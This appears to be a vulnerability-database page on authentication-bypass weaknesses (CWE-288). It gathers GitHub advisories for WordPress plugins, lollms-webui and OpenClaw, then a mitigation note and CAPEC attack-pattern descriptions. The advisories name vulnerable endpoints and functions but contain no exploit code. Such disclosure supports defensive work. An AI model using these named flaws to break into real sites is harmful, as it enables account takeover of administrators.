The Social Login plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.9.0. This is due to insufficient verification on the user being returned by the social login token. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email and the user does not have an already-existing account for the service returning the token.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-23T04:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "The Social Login plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 5.9.0. This is due to insufficient verification on the user being returned by the social login token. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the email and the user does not have an already-existing account for the service returning the token.",
  "id": "GHSA-5w7f-6vpf-234p",
  "modified": "2024-12-06T03:31:09Z",
  "published": "2024-11-23T06:32:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10961"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3201046"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/oa-social-login"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43a64074-ca64-4c34-b467-06d1ad8c5aa0?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WH4-2859-9F36

Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2024-04-16 00:30
VLAI
Details

parisneo/lollms-webui is vulnerable to authentication bypass due to insufficient protection over sensitive endpoints. The application checks if the host parameter is not '0.0.0.0' to restrict access, which is inadequate when the application is bound to a specific interface, allowing unauthorized access to endpoints such as '/restart_program', '/update_software', '/check_update', '/start_recording', and '/stop_recording'. This vulnerability can lead to denial of service, unauthorized disabling or overriding of recordings, and potentially other impacts if certain features are enabled in the configuration.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T00:15:09Z",
    "severity": "HIGH"
  },
  "details": "parisneo/lollms-webui is vulnerable to authentication bypass due to insufficient protection over sensitive endpoints. The application checks if the host parameter is not \u00270.0.0.0\u0027 to restrict access, which is inadequate when the application is bound to a specific interface, allowing unauthorized access to endpoints such as \u0027/restart_program\u0027, \u0027/update_software\u0027, \u0027/check_update\u0027, \u0027/start_recording\u0027, and \u0027/stop_recording\u0027. This vulnerability can lead to denial of service, unauthorized disabling or overriding of recordings, and potentially other impacts if certain features are enabled in the configuration.",
  "id": "GHSA-5wh4-2859-9f36",
  "modified": "2024-04-16T00:30:33Z",
  "published": "2024-04-16T00:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1646"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parisneo/lollms-webui/commit/02e829b5653a1aa5dbbe9413ec84f96caa1274e8"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/2f769c46-aa85-4ab8-8b08-fe791313b7ba"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5WJ5-87VQ-39XM

Vulnerability from github – Published: 2026-04-09 17:35 – Updated: 2026-06-08 23:24
VLAI
Summary
OpenClaw: Node Pairing Reconnect Command Escalation Bypasses operator.admin Scope Requirement
Details

Impact

Node Pairing Reconnect Command Escalation Bypasses operator.admin Scope Requirement.

A previously paired node could reconnect with a broader command set, including exec-capable commands, without forcing the operator/admin re-pairing path.

OpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <=2026.4.5
  • Patched versions: 2026.4.8

Fix

The issue was fixed on main and is available in the patched npm version listed above. The verified fixed tree is commit d7c3210cd6f5fdfdc1beff4c9541673e814354d5.

Verification

The fix was re-checked against main before publication, including targeted regression tests for the affected security boundary.

Credits

Thanks @zsxsoft and @KeenSecurityLab for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:35:53Z",
    "nvd_published_at": "2026-04-28T19:37:47Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n\nNode Pairing Reconnect Command Escalation Bypasses operator.admin Scope Requirement.\n\nA previously paired node could reconnect with a broader command set, including exec-capable commands, without forcing the operator/admin re-pairing path.\n\nOpenClaw is a user-controlled local assistant. This advisory is scoped to the OpenClaw trust model and does not assume a multi-tenant service boundary.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c=2026.4.5`\n- Patched versions: `2026.4.8`\n\n## Fix\n\nThe issue was fixed on `main` and is available in the patched npm version listed above. The verified fixed tree is commit `d7c3210cd6f5fdfdc1beff4c9541673e814354d5`.\n\n## Verification\n\nThe fix was re-checked against `main` before publication, including targeted regression tests for the affected security boundary.\n\n## Credits\n\nThanks @zsxsoft and @KeenSecurityLab for reporting.",
  "id": "GHSA-5wj5-87vq-39xm",
  "modified": "2026-06-08T23:24:37Z",
  "published": "2026-04-09T17:35:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-5wj5-87vq-39xm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-command-escalation-via-node-pairing-reconnect-bypass"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Node Pairing Reconnect Command Escalation Bypasses operator.admin Scope Requirement"
}

GHSA-5X2V-MRH5-PRVX

Vulnerability from github – Published: 2026-01-17 09:31 – Updated: 2026-01-17 09:31
VLAI
Details

The Registration & Login with Mobile Phone Number for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.3.1. This is due to the plugin not properly verifying a users identity prior to authenticating them via the fma_lwp_set_session_php_fun() function. This makes it possible for unauthenticated attackers to authenticate as any user on the site, including administrators, without a valid password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-17T09:15:50Z",
    "severity": "CRITICAL"
  },
  "details": "The Registration \u0026 Login with Mobile Phone Number for WooCommerce plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 1.3.1. This is due to the plugin not properly verifying a users identity prior to authenticating them via the fma_lwp_set_session_php_fun() function. This makes it possible for unauthenticated attackers to authenticate as any user on the site, including administrators, without a valid password.",
  "id": "GHSA-5x2v-mrh5-prvx",
  "modified": "2026-01-17T09:31:15Z",
  "published": "2026-01-17T09:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10484"
    },
    {
      "type": "WEB",
      "url": "https://woocommerce.com/products/registration-login-with-mobile-phone-number"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6aef6fbb-be8c-49e1-ada5-7b4aa8b2ff72?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.